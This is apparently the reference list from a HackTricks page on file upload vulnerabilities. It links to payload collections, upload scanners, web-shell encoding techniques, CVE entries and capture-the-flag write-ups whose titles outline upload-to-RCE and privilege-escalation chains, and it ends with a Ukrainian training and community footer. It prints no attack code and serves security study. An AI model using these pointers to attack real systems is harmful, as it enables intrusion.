- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
- 0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


